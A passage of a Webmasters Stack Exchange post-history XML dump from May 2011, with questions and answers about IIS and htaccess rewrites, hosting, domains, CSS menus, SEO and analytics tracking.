system.&#xD;&#xA;&#xD;&#xA;Technology: php&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="31271" PostHistoryTypeId="2" PostId="13531" RevisionGUID="4aafe022-3d9c-44d5-9600-c3ca2044a3f4" CreationDate="2011-05-08T21:23:58.263" UserId="1064" Text="You appear to be asking &quot;can I alter the AdSense code on pages served by a proxy to get clicks for *my* AdSense account&quot; - this sounds more like scumware than any kind of black hat practice.&#xD;&#xA;&#xD;&#xA;If you observe to the AdSense sign up process, you should see the requirement to (a) identify which domains your AdSense code will be used upon and (b) the clause below from the [Google AdSense Program Policies][1]:&#xD;&#xA;&#xD;&#xA;&gt; Sites displaying Google ads may not:&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt; &#xD;&#xA;&gt; Be loaded by any software that can trigger pop-ups, redirect users to unwanted websites, modify browser settings or otherwise interfere with site navigation. It is your responsibility to ensure&#xD;&#xA;&gt; that no ad network or affiliate uses&#xD;&#xA;&gt; such methods to direct traffic to&#xD;&#xA;&gt; pages that contain your AdSense code.&#xD;&#xA;&#xD;&#xA;AdSense tracks which URL's users' clicks originate from - if your AdSense account is receiving clicks from other AdSense users' domains, you can expect to see your account suspended in short order.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/support/bin/answer.py?answer=48182" />
  <row Id="31275" PostHistoryTypeId="2" PostId="13532" RevisionGUID="280d1d54-7282-48fb-aa33-5c2f6df03d47" CreationDate="2011-05-08T22:14:13.833" UserId="7055" Text="Check out [Pligg][1] if you get the chance.  From their site:&#xD;&#xA;&#xD;&#xA;&gt; Pligg started as a simple CMS to let&#xD;&#xA;&gt; users submit and vote on news&#xD;&#xA;&gt; articles, and that's still what we do&#xD;&#xA;&gt; best. Vote on stories that interest&#xD;&#xA;&gt; you and articles that receive enough&#xD;&#xA;&gt; votes will appear on the homepage of&#xD;&#xA;&gt; your Pligg site. Pligg offers a 5 star&#xD;&#xA;&gt; method for voting or the more&#xD;&#xA;&gt; traditional numbered voting as seen on&#xD;&#xA;&gt; sites like Digg, Mixx, or Reddit.&#xD;&#xA;&#xD;&#xA;  [1]: http://pligg.com/" />
  <row Id="31276" PostHistoryTypeId="16" PostId="13532" RevisionGUID="15380282-7fbe-4a7c-9324-fe8b0ae4aca2" CreationDate="2011-05-08T22:14:13.833" UserId="7055" />
  <row Id="31286" PostHistoryTypeId="2" PostId="13535" RevisionGUID="031cd729-a38f-4b52-a3d9-7fff73951615" CreationDate="2011-05-09T02:33:36.307" UserId="138" Text="I have a system deployed on IIS7, that is using IIS's rewrite engine.&#xD;&#xA;&#xD;&#xA;I am attempting to rewrite the middle of the URL to change an AppName. For example:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;http://staging.example.com/AppFolder/appdll.dll?APPNAME=&lt;b&gt;MyApp&lt;/b&gt;&amp;PRGNAME=SomeProgram&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;needs to become:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;http://staging.example.com/AppFolder/appdll.dll?APPNAME=&lt;b&gt;MyAppStaging&lt;/b&gt;&amp;PRGNAME=SomeProgram&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I have in my `web.config`&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-xml --&gt;&#xD;&#xA;&#xD;&#xA;    &lt;rule name=&quot;Convert to staging&quot;&gt;&#xD;&#xA;        &lt;match url=&quot;^(.*)APPNAME=MyApp(.*)&quot; /&gt;&#xD;&#xA;        &lt;action type=&quot;Rewrite&quot; url=&quot;{R:1}APPNAME=MyAppStaging{R:2}&quot; logRewrittenUrl=&quot;true&quot; /&gt;&#xD;&#xA;    &lt;/rule&gt;&#xD;&#xA;&#xD;&#xA;And according to the URL Rewrite test tool, it should work&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;But as I'm sure you can tell by now, it's not working. The requests just go through as the original, un-rewritten.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/S66oY.png" />
  <row Id="31287" PostHistoryTypeId="1" PostId="13535" RevisionGUID="031cd729-a38f-4b52-a3d9-7fff73951615" CreationDate="2011-05-09T02:33:36.307" UserId="138" Text="IIS ReWrite to change middle part of URL" />
  <row Id="31288" PostHistoryTypeId="3" PostId="13535" RevisionGUID="031cd729-a38f-4b52-a3d9-7fff73951615" CreationDate="2011-05-09T02:33:36.307" UserId="138" Text="&lt;iis7&gt;&lt;rewrite&gt;" />
  <row Id="31289" PostHistoryTypeId="25" PostId="13535" RevisionGUID="fa574e57-f4fb-45da-b352-3b7a6a9416cc" CreationDate="2011-05-09T03:11:35.200" Comment="http://twitter.com/#!/StackWebmasters/status/67426458452246528" />
  <row Id="31292" PostHistoryTypeId="2" PostId="13537" RevisionGUID="69ae99f0-9e25-4969-838a-4a3b6edb10ea" CreationDate="2011-05-09T05:08:17.653" UserId="6812" Text="So, we used linode.com for a while, and that was awesome, but I need my own virtual server now, and the problem with linode is that you had to install everything from scratch.&#xD;&#xA;&#xD;&#xA;I'd like a server I can get my hands on with a default installation of everything necessary, the ability to use root and all that (that said, I'd prefer linux... though I have experience with windows server, just don't prefer it for my webhosting), and any kind of decent management tool online.&#xD;&#xA;&#xD;&#xA;I don't want to spend more than $20 or $30 a month on that, and that is super important.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If I can't get a good VPS, what is a good site for hosting that isn't GoDaddy? I've only used GoDaddy, client's servers, or my current webserver on linode.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks everyone!" />
  <row Id="31293" PostHistoryTypeId="1" PostId="13537" RevisionGUID="69ae99f0-9e25-4969-838a-4a3b6edb10ea" CreationDate="2011-05-09T05:08:17.653" UserId="6812" Text="I need a cheap, reliable, virtual webserver service..." />
  <row Id="31294" PostHistoryTypeId="3" PostId="13537" RevisionGUID="69ae99f0-9e25-4969-838a-4a3b6edb10ea" CreationDate="2011-05-09T05:08:17.653" UserId="6812" Text="&lt;webserver&gt;" />
  <row Id="31295" PostHistoryTypeId="11" PostId="13518" RevisionGUID="3faf9153-941f-4912-869a-83436a48b4ae" CreationDate="2011-05-09T05:08:28.713" UserId="3" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="31296" PostHistoryTypeId="5" PostId="13518" RevisionGUID="229ea791-5a81-4239-995a-167e3120d0fa" CreationDate="2011-05-09T05:09:23.627" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do you determine the monetary value of an established domain / website?](http://webmasters.stackexchange.com/questions/649/how-do-you-determine-the-monetary-value-of-an-established-domain-website)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;I have a domain which I will tell later how much I paid for it, but I wanted to get your take on how much it should be worth.&#xD;&#xA;&#xD;&#xA;This is the domain&#xD;&#xA;http://www.comehike.com&#xD;&#xA;&#xD;&#xA;What do you feel is the value of such a domain?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="31297" PostHistoryTypeId="10" PostId="13518" RevisionGUID="052dfe80-bead-4fa3-8562-577ff23a6f2c" CreationDate="2011-05-09T05:09:23.157" UserId="3" CloseReasonId="1" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="31299" PostHistoryTypeId="5" PostId="13499" RevisionGUID="426cd698-7c9c-4a96-97ce-6801be882bcf" CreationDate="2011-05-09T05:23:50.223" UserId="3" Comment="added 7 characters in body; edited title" Text="I was wondering if anyone could tell me how I can measure which types of links (links to twitter [or other social network] profiles, links to videos, stack exchange flair, navigational menus, etc.) are being clicked on the most. &#xD;&#xA;&#xD;&#xA;What's a simple way to measure what links are being clicked on my site, and optionally by what demographic?" />
  <row Id="31300" PostHistoryTypeId="4" PostId="13499" RevisionGUID="426cd698-7c9c-4a96-97ce-6801be882bcf" CreationDate="2011-05-09T05:23:50.223" UserId="3" Comment="added 7 characters in body; edited title" Text="How do I measure which links get the most clicks?" />
  <row Id="31301" PostHistoryTypeId="2" PostId="13538" RevisionGUID="79431ea4-d15e-4992-ac30-d2a443d3a2d9" CreationDate="2011-05-09T06:03:06.293" UserId="7111" Text="My understanding is that you have links on your website, and you want to be able to track the outgoing links on your site (links that connect to a site other than yours). I'm sure there are scripts/software you can find to handle this, and the idea would be along the lines of this: &#xD;&#xA;&#xD;&#xA;Rather than linking &quot;Twitter.com/Username&quot; you could have &quot;YourSite.com/Links.php?id=1&quot;. The script you write (or find) would know that id=1 means it should send the viewer to &quot;Twitter.com/Username&quot;, but before it does this, it will add +1 to the hits, and log IP/browser/hostname/etc. Then you could create a backend page that lets you view the results.&#xD;&#xA;&#xD;&#xA;I'm sure there are scripts that do this for you (and I believe Google Analytics has a way to implement this functionality). A quick Google search would definitely yield you some results on the subject. Hope this helps." />
  <row Id="31302" PostHistoryTypeId="16" PostId="13538" RevisionGUID="f5576029-9c25-465d-a7ac-b1207f3510d7" CreationDate="2011-05-09T06:03:06.293" UserId="7111" />
  <row Id="31303" PostHistoryTypeId="25" PostId="13537" RevisionGUID="145c728d-ab31-4a7b-b625-ce9eb2bacfd5" CreationDate="2011-05-09T06:11:34.683" Comment="http://twitter.com/#!/StackWebmasters/status/67471754561466368" />
  <row Id="31307" PostHistoryTypeId="2" PostId="13540" RevisionGUID="ca37d6e2-9040-41d9-bd5c-88aeb48767cc" CreationDate="2011-05-09T06:34:47.963" UserId="7381" Text="I've been having so much trouble figuring this out. My site is hosted thru godaddy, and is a music blog. We upload music for streaming and download. The site wouldnt redirect from the naked domain, so i figured out how to fix it. But when i got it to redirect, all the links to the music we host no longer worked? I need help! how do i make this work??" />
  <row Id="31308" PostHistoryTypeId="1" PostId="13540" RevisionGUID="ca37d6e2-9040-41d9-bd5c-88aeb48767cc" CreationDate="2011-05-09T06:34:47.963" UserId="7381" Text="HELP! When I fixed the redirect from my naked domain, the hosted links on my site no longer connect, how do i fix this??" />
  <row Id="31309" PostHistoryTypeId="3" PostId="13540" RevisionGUID="ca37d6e2-9040-41d9-bd5c-88aeb48767cc" CreationDate="2011-05-09T06:34:47.963" UserId="7381" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;redirects&gt;&lt;web&gt;" />
  <row Id="31310" PostHistoryTypeId="5" PostId="13511" RevisionGUID="b1682c19-2cd4-4991-a5d5-5fd9d9a83ff5" CreationDate="2011-05-09T06:48:26.443" UserId="7364" Comment="deleted 23 characters in body" Text="I have a webpage on my university's server, which means I cannot access the root directory and change files there.&#xD;&#xA;&#xD;&#xA;Is there some other way to give access to robots to my page?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="31311" PostHistoryTypeId="2" PostId="13541" RevisionGUID="dc11b9f8-5917-46e0-822f-93064c58149e" CreationDate="2011-05-09T08:09:49.433" UserId="5567" Text="you can set the meta tag:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;all&quot;&gt;&#xD;&#xA;&#xD;&#xA;or you can go to [Google AddUrl][1] and add your URL to Google. But when you have no good content on your site you don't get so much site so the index. In the last time its very important to place sites to google in a good position.&#xD;&#xA;&#xD;&#xA;Before you should read some things about SEO optimizing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.de/addurl/" />
  <row Id="31314" PostHistoryTypeId="2" PostId="13542" RevisionGUID="437a809a-1afa-4bbc-af61-ba69191ab34a" CreationDate="2011-05-09T09:14:37.760" UserId="7384" Text="How do you achieve this kind of menu:&#xD;&#xA;&#xD;&#xA;About | Privacy | Contact | Site Map&#xD;&#xA;&#xD;&#xA;... a menu separated by a vertical bar, but the first and last item doesn't have a bar on the left and right sides (as shown in the example)?&#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="31315" PostHistoryTypeId="1" PostId="13542" RevisionGUID="437a809a-1afa-4bbc-af61-ba69191ab34a" CreationDate="2011-05-09T09:14:37.760" UserId="7384" Text="How to create a menu separated by a bar but first and last item has no bar?" />
  <row Id="31316" PostHistoryTypeId="3" PostId="13542" RevisionGUID="437a809a-1afa-4bbc-af61-ba69191ab34a" CreationDate="2011-05-09T09:14:37.760" UserId="7384" Text="&lt;css&gt;" />
  <row Id="31317" PostHistoryTypeId="2" PostId="13543" RevisionGUID="c47a2f86-7dc2-4213-be43-9de5fbbd4303" CreationDate="2011-05-09T09:16:19.970" UserId="1643" Text="The vertical bar is just a character on the keyboard, so you can type it in between the words." />
  <row Id="31318" PostHistoryTypeId="2" PostId="13544" RevisionGUID="ff98410f-2e48-4338-ab1b-69671a115a6e" CreationDate="2011-05-09T09:51:04.750" UserId="2739" Text="If you are using list items as the mark-up for your navigation you can display a line between each link by creating the separator as a background image on the `li`.&#xD;&#xA;&#xD;&#xA;The trick to get it to only appear in between list items is to position the image to the left of the `li`, but not on the first one.&#xD;&#xA;&#xD;&#xA;This example uses the *adjacent selector*:&#xD;&#xA;&#xD;&#xA;    #nav li + li {&#xD;&#xA;        background:url('seperator.gif') no-repeat top left;&#xD;&#xA;        padding-left: 10px&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This CSS adds the image to every list item that follows another list item - in other words all of them but the first.&#xD;&#xA;&#xD;&#xA;NB. Be aware the adjacent selector (li + li) doesn't work in IE6, so you will have to just add the background image to the conventional li (with a conditional stylesheet) and perhaps apply a negative margin to one of the edges." />
  <row Id="31320" PostHistoryTypeId="6" PostId="13527" RevisionGUID="0ddb1c13-23c6-48d1-8852-f5c5c80f3e7b" CreationDate="2011-05-09T10:39:57.473" UserId="7373" Comment="Improved formatting." Text="&lt;web-hosting&gt;&lt;dns&gt;" />
  <row Id="31321" PostHistoryTypeId="2" PostId="13545" RevisionGUID="928c96b2-0067-4b47-8d94-08118636c365" CreationDate="2011-05-09T10:44:34.850" UserId="7385" Text="I work on behalf of 123-reg.&#xD;&#xA;&#xD;&#xA;Just to let you know 123-reg are currently developing a new feature domain mapping which will be available as part of our hosting packages.&#xD;&#xA;&#xD;&#xA;The domain mapping feature will allow you to map any domain to your package and then point the A record to the relevant IP address.&#xD;&#xA;&#xD;&#xA;Whilst currently there is no official launch date for this feature to be introduced it is hoped that this will be available within the 123-reg control panel within the next month or so.&#xD;&#xA;&#xD;&#xA;I would also like to thank you for your feedback , we are actively monitoring all customer feedback so we can improve our systems and services that we offer to customers.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;&#xD;&#xA;Ricky" />
  <row Id="31322" PostHistoryTypeId="17" PostId="13547" RevisionGUID="304dcbd3-a6aa-439c-a481-facbfcde3f20" CreationDate="2011-05-09T11:04:16.787" UserId="-1" Comment="from http://stackoverflow.com/questions/5927823/htaccess-cookie-results-in-inf-loop-how-should-i-do-this/5928362#5928362" Text="" />
  <row Id="31323" PostHistoryTypeId="2" PostId="13547" RevisionGUID="58f2ba56-d2a7-491b-ab90-c44e85e9b05c" CreationDate="2011-05-08T15:26:24.037" UserDisplayName="anubhava" Text="Have your rules like this:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{QUERY_STRING} !^lang= [NC]&#xD;&#xA;    RewriteCond %{HTTP_COOKIE} lang=([^;]+) [NC]&#xD;&#xA;    RewriteRule ^(.*)$ /$1?lang=%1 [R,QSA,L]&#xD;&#xA;&#xD;&#xA;That way you will not not get infinite loop because of 1st negative condition." />
  <row Id="31324" PostHistoryTypeId="2" PostId="13546" RevisionGUID="72c4c883-a064-4f37-a190-f5a41aa14812" CreationDate="2011-05-08T13:51:39.020" UserDisplayName="user743919" Text="I have a cookie on my site and would like to have this cookie in the url (*always), something like this:&#xD;&#xA;www.domain.com/?lang=en   OR    www.domain.com/subscribe/?lang=en&#xD;&#xA;&#xD;&#xA;*(i'm not sure if i would like it ALWAYS, maybe i can exclude some directories i guess i can do this with adding a extra RewriteCond)&#xD;&#xA;&#xD;&#xA;But the main problem is my code now results in a loop, below the code i use:&#xD;&#xA;  &#xD;&#xA;    RewriteCond %{HTTP_COOKIE} lang=([^;]+) [NC]&#xD;&#xA;    RewriteRule ^(.*)$ /$1?lang=%1 [R,QSA,L]&#xD;&#xA;&#xD;&#xA;Now my url results in: www.domain.com/?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en....  etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can i simply add a cookie information to the url only once? and not loop all the time...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31325" PostHistoryTypeId="1" PostId="13546" RevisionGUID="72c4c883-a064-4f37-a190-f5a41aa14812" CreationDate="2011-05-08T13:51:39.020" UserDisplayName="user743919" Text="htaccess cookie results in inf-loop, how should i do this?" />
  <row Id="31326" PostHistoryTypeId="3" PostId="13546" RevisionGUID="72c4c883-a064-4f37-a190-f5a41aa14812" CreationDate="2011-05-08T13:51:39.020" UserDisplayName="user743919" Text="&lt;htaccess&gt;" />
  <row Id="31327" PostHistoryTypeId="17" PostId="13546" RevisionGUID="59e5feb8-7134-452d-b23b-86506892da79" CreationDate="2011-05-09T11:04:16.787" UserId="-1" Comment="from http://stackoverflow.com/questions/5927823/htaccess-cookie-results-in-inf-loop-how-should-i-do-this" Text="" />
  <row Id="31328" PostHistoryTypeId="5" PostId="13527" RevisionGUID="932c0add-2e28-4267-9846-43df5b42c170" CreationDate="2011-05-09T11:05:20.647" UserId="7373" Comment="Improved formatting." Text="I've recently been trying to set up a website for the first time for an academic project.&#xD;&#xA;&#xD;&#xA;We bought 4 domains from 123-reg.co.uk:&#xD;&#xA;&#xD;&#xA; - primarydomain.com&#xD;&#xA; - secondarydomain1.com&#xD;&#xA; - secondarydomain2.com&#xD;&#xA; - secondarydomain3.com&#xD;&#xA;&#xD;&#xA;I want all secondary domains to point to the primary domain, which should be easy enough using 301 redirects.&#xD;&#xA;&#xD;&#xA;We also bought a hosting package at the same time with 123-reg (which appears to have been an unwise choice, based on opinions I've read recently about keeping host and domain provider separate). Unfortunately, this hosting package is erroneously linked to secondarydomain1.com, not to primarydomain.com.&#xD;&#xA;&#xD;&#xA;I figured that this shouldn't be a problem and that I could just change the domain associated with the hosting. Wrong!&#xD;&#xA;&#xD;&#xA;&gt;*Domain names associated with a 123-reg hosting package can not be changed once the hosting package has been purchased. If you require another domain name to be hosted, you will need to purchase a new hosting package for the appropriate domain name.* [(From 123-reg Support)][1]&#xD;&#xA;&#xD;&#xA;Then I thought that I could just change the A records (@ and www) for primarydomain.com to point to the IP address of the hosting package (xx.xx.xx.100), while changing the A records of secondarydomain1.com to match those of the other secondary domains (xx.xx.xx.200).&#xD;&#xA;&#xD;&#xA;Now, I've only changed the A records yesterday, so it may be within the acceptable timeframe for the changes to propagate. I'm unsure, though, since 123-reg specifically states that once a hosting package is purchased, you can't change the associated domain. If all else fails and I really can't change the associated domain, I can always buy cheap webspace elsewhere (any recommendations, by the way?) and point primarydomain.com there, but before I spend more money, I want to be sure that I can't rectify the situation.&#xD;&#xA;&#xD;&#xA;If anyone has had experience with combined hosting + domain registration with 123-reg, I'd be very grateful for any input.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Daniel&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.123-support.co.uk/support/answers/how-do-i-change-the-domain-name-for-my-hosting-package-1524/ &quot;123-reg Support page&quot;" />
  <row Id="31329" PostHistoryTypeId="2" PostId="13548" RevisionGUID="2795288e-ee79-4526-b2e7-4735b6995eee" CreationDate="2011-05-09T01:13:38.037" UserDisplayName="user744396" Text="This is my first time using Subtext as a blog engine, it's awesome but&#xD;&#xA;I got some troubles when deploying it in my client's server.&#xD;&#xA;&#xD;&#xA;I have successfully installed it in my local develop environment and&#xD;&#xA;also successfully migrant it to a staging server by moving database&#xD;&#xA;and all files. However, when I did the same thing in my clients&#xD;&#xA;server, I got some problems.&#xD;&#xA;&#xD;&#xA;An &quot;Authentication Required&quot; window is keep alerting when I visit the&#xD;&#xA;default page of Subtext and asking for usename and password. I tracked&#xD;&#xA;the browser http request with Firebug and found the browser is trying&#xD;&#xA;to GET  login.aspx?ReturnUrl=%2fdefault.aspx again and again.&#xD;&#xA;&#xD;&#xA;I used the client's server for another website before and had no&#xD;&#xA;problems (It's under the same folder, I removed the old files for&#xD;&#xA;Subtext). So I thought it may be caused by .NET Form Authentication. I&#xD;&#xA;am not familiar with .NET Form Authentication, so I remove Subtext and&#xD;&#xA;download some files from http://msdn.microsoft.com/en-us/library/xdt4thhy.aspx&#xD;&#xA;and had a test. However, this example is working good, it jumped to&#xD;&#xA;login.aspx?ReturnUrl=%2fdefault.aspx correctly without any&#xD;&#xA;&quot;Authentication Required&quot;.&#xD;&#xA;&#xD;&#xA;I am totally confused, is it caused by IIS setting,  .NET Form&#xD;&#xA;Authentication or the Subtext? My client's environment is  IIS7 + .NET&#xD;&#xA;2.0 without .NET MVC. &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Sam" />
  <row Id="31330" PostHistoryTypeId="1" PostId="13548" RevisionGUID="2795288e-ee79-4526-b2e7-4735b6995eee" CreationDate="2011-05-09T01:13:38.037" UserDisplayName="user744396" Text="&quot;Authentication Required&quot; window alerts when visiting Subtext" />
  <row Id="31331" PostHistoryTypeId="3" PostId="13548" RevisionGUID="2795288e-ee79-4526-b2e7-4735b6995eee" CreationDate="2011-05-09T01:13:38.037" UserDisplayName="user744396" Text="&lt;untagged&gt;" />
  <row Id="31332" PostHistoryTypeId="17" PostId="13548" RevisionGUID="a725982c-3ba4-4f64-9dc2-1b5bffda61f9" CreationDate="2011-05-09T11:11:24.150" UserId="-1" Comment="from http://stackoverflow.com/questions/5931527/authentication-required-window-alerts-when-visiting-subtext" Text="" />
  <row Id="31333" PostHistoryTypeId="6" PostId="13548" RevisionGUID="2bb87729-483d-4999-88d2-9259523dca07" CreationDate="2011-05-09T11:44:20.957" UserId="1253" Comment="Added tags" Text="&lt;blog&gt;&lt;.net&gt;&lt;subtext&gt;" />
  <row Id="31334" PostHistoryTypeId="5" PostId="13544" RevisionGUID="2ec95677-b3f5-4be4-b997-533bad13d85f" CreationDate="2011-05-09T12:10:12.953" UserId="2739" Comment="Included alternative approach.; deleted 11 characters in body" Text="If you are using list items as the mark-up for your navigation you can display a line between each link by creating the separator as a **background image** on the `li`.&#xD;&#xA;&#xD;&#xA;The trick to get it to only appear in between list items is to position the image to the left of the `li`, but not on the first one.  This example uses the *adjacent selector*:&#xD;&#xA;&#xD;&#xA;    #nav li + li {&#xD;&#xA;        background:url('seperator.gif') no-repeat top left;&#xD;&#xA;        padding-left: 10px&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This CSS adds the image to every list item that follows another list item - in other words all of them but the first.&#xD;&#xA;&#xD;&#xA;**Alternatively** you can use the CSS `content` property with the `before` pseudo class, instead of an image.  The following code adds a pipe before your navigation links (again using the adjacent selector).&#xD;&#xA;&#xD;&#xA;    #nav li + li a:before {&#xD;&#xA;        content: &quot;|&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Be aware the content property is not supported in IE6 and IE7, and the adjacent selector is not supported in IE6.&#xD;&#xA;&#xD;&#xA;See here for CSS contents and browser compatibility - http://www.quirksmode.org/css/contents.html" />
  <row Id="31335" PostHistoryTypeId="25" PostId="13542" RevisionGUID="4413349d-9025-48f1-a949-5809f7f470ff" CreationDate="2011-05-09T12:11:35.163" Comment="http://twitter.com/#!/StackWebmasters/status/67562353440468992" />
  <row Id="31336" PostHistoryTypeId="2" PostId="13549" RevisionGUID="2c7bc931-d0a1-4e32-9b39-d37b2be21c3d" CreationDate="2011-05-09T12:53:09.263" UserId="7388" Text="I dont think there is any particular disadvantage with .co.cc as far as SEO is concerned. But you should take care of this fact taht if after few years your website is a success and you want to purchase your own domain name at that time all your SEO efforts for this .co.cc domain will go in vain and you have to rework on seo for .com or .net domain at that time." />
  <row Id="31337" PostHistoryTypeId="2" PostId="13550" RevisionGUID="2d7977c6-fc52-4f45-ad76-360a8c7a7002" CreationDate="2011-05-09T14:32:55.347" UserId="7055" Text="My developers asked me to do the following: &#xD;&#xA;1. Configure all subdomains to point to the same server IP as the main domain.&#xD;&#xA;2. Configure all subdomains in virtual host to point to the same location as the main domain.&#xD;&#xA;&#xD;&#xA;What is the easiest way to do this?" />
  <row Id="31338" PostHistoryTypeId="1" PostId="13550" RevisionGUID="2d7977c6-fc52-4f45-ad76-360a8c7a7002" CreationDate="2011-05-09T14:32:55.347" UserId="7055" Text="Subdomain Configuration" />
  <row Id="31339" PostHistoryTypeId="3" PostId="13550" RevisionGUID="2d7977c6-fc52-4f45-ad76-360a8c7a7002" CreationDate="2011-05-09T14:32:55.347" UserId="7055" Text="&lt;subdomain&gt;&lt;virtualhost&gt;" />
  <row Id="31340" PostHistoryTypeId="5" PostId="13550" RevisionGUID="91ec16f9-e6e9-4bb5-ad1b-e088db8ae47b" CreationDate="2011-05-09T14:47:25.267" UserId="7055" Comment="added 72 characters in body" Text="My developers asked me to do the following: &#xD;&#xA;&#xD;&#xA;1. Configure all subdomains to point to the same server IP as the main domain.&#xD;&#xA;2. Configure all subdomains in virtual host to point to the same location as the main domain.&#xD;&#xA;&#xD;&#xA;What is the easiest way to do this?&#xD;&#xA;&#xD;&#xA;OS- CentOS 5.6 and the control panel is a custom panel by nexcess." />
  <row Id="31341" PostHistoryTypeId="2" PostId="13551" RevisionGUID="0a3ef008-612f-4aaf-b5bf-31de1917b367" CreationDate="2011-05-09T14:55:42.600" UserId="7392" Text=" I have a wordpress blog, 20 posts on first page, about 80 chars of text belonging to each post, pretty good seo, 2nd place on a quite competitive keyword on index page (less links pointing to my site compared to 3rd place and so on). Decided to bring more link juice to the index page and removed all the posts, all the links pointing to the posts. Instead I wrote a custom text, abou 260 chars and made my index page basicaly static. In a couple of days I have dropped to 8th place. &#xD;&#xA;&#xD;&#xA;Why do you think this happened?&#xD;&#xA;&#xD;&#xA;Is it maybe becouse I had less text on index page?&#xD;&#xA;&#xD;&#xA;Any ideeas?" />
  <row Id="31342" PostHistoryTypeId="1" PostId="13551" RevisionGUID="0a3ef008-612f-4aaf-b5bf-31de1917b367" CreationDate="2011-05-09T14:55:42.600" UserId="7392" Text="Blog index page without links or content from posts, drop in google" />
  <row Id="31343" PostHistoryTypeId="3" PostId="13551" RevisionGUID="0a3ef008-612f-4aaf-b5bf-31de1917b367" CreationDate="2011-05-09T14:55:42.600" UserId="7392" Text="&lt;seo&gt;" />
  <row Id="31344" PostHistoryTypeId="2" PostId="13552" RevisionGUID="bae6c162-04f3-41c2-a5de-4c0c48712b6a" CreationDate="2011-05-09T15:05:42.680" UserId="5885" Text="What's the best position for a Facebook Like button, at the top of the page, or at the end of the text/content/module?&#xD;&#xA;&#xD;&#xA;Which position has more visibility and is more effective?" />
  <row Id="31345" PostHistoryTypeId="1" PostId="13552" RevisionGUID="bae6c162-04f3-41c2-a5de-4c0c48712b6a" CreationDate="2011-05-09T15:05:42.680" UserId="5885" Text="Best position for Facebook Like button" />
  <row Id="31346" PostHistoryTypeId="3" PostId="13552" RevisionGUID="bae6c162-04f3-41c2-a5de-4c0c48712b6a" CreationDate="2011-05-09T15:05:42.680" UserId="5885" Text="&lt;facebook&gt;" />
  <row Id="31347" PostHistoryTypeId="25" PostId="13552" RevisionGUID="b52d5417-c4c7-40b8-bf86-f505d5151998" CreationDate="2011-05-09T15:11:34.593" Comment="http://twitter.com/#!/StackWebmasters/status/67607649826512896" />
  <row Id="31348" PostHistoryTypeId="2" PostId="13553" RevisionGUID="b9cd37ff-05a7-4c25-a7e5-1466ba6c3a19" CreationDate="2011-05-09T15:14:56.073" UserId="1253" Text="Why not do some [A/B Testing][1] and see where it works best for you? You can use [Google Analytics and Website Optimizer to do this][2] for free. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/A/B_testing&#xD;&#xA;  [2]: http://www.google.com/support/googleanalytics/bin/answer.py?hl=en-GB&amp;answer=55589" />
  <row Id="31349" PostHistoryTypeId="2" PostId="13554" RevisionGUID="a8f25545-e20b-4465-a392-4ab31b7c1b1b" CreationDate="2011-05-09T15:28:21.660" UserId="6624" Text="I was interested in tracking the versions of QuickTime my users have installed.  As suggested in an &lt;a href=&quot;http://webmasters.stackexchange.com/questions/13405/can-i-use-google-analytics-to-count-quicktime-installations&quot;&gt;earlier question&lt;/a&gt;, I have set up a custom variable and built a report around it. Here is my code for the check:&#xD;&#xA;&#xD;&#xA;    function qt_check(){&#xD;&#xA;        var p = navigator.plugins;&#xD;&#xA;        var name, ver = 0;&#xD;&#xA;        for(i = 0; i &lt; p.length; i++){&#xD;&#xA;            name = p[i].name;&#xD;&#xA;            if(name.indexOf(&quot;QuickTime Plug-in&quot;) !== -1){ ver = p[i].version; }&#xD;&#xA;        }&#xD;&#xA;        return ver;&#xD;&#xA;    }&#xD;&#xA;    pageTracker._setCustomVar(1, &quot;QuickTime Version&quot;, qt_check(), 1);&#xD;&#xA;&#xD;&#xA;As you can see, I set up the `qt_check()` function so that it would return a value of zero if the user does not have any version of QuickTime installed.  My idea was that in addition to getting a readout on the various versions of QuickTime, I would be able to see how many people don't have it at all by looking for version &quot;0&quot;.&#xD;&#xA;&#xD;&#xA;But now that I have a few days of data, I find that although there have been 933 visits during that time, nobody registered as having QuickTime version 0.&#xD;&#xA;&#xD;&#xA;Should I be passing some other value to Google Analytics?  Is the 0 causing it to discard the variable?" />
